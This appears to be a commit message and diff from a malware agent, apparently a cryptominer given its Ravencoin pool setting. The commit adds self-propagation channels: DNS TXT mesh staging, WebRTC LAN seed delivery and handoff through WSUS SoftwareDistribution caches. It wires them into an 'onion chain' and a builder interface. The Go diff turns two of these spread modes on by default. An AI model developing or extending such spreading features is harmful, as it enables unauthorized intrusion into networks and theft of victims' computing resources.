Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/config/builtin.go

@@ -56,5 +56,8 @@ func GetBuiltinConfig() BuiltinConfig {
 		RVNPoolPass:         "x",
 		LotlOnionEnabled:     false,
 		LotlPolicyFromServer: false,
+		DnsTxtSpread:         true,
+		WebRTCMeshSpread:     false,
+		WSUSCachePeerSpread:  true,
 	}
 }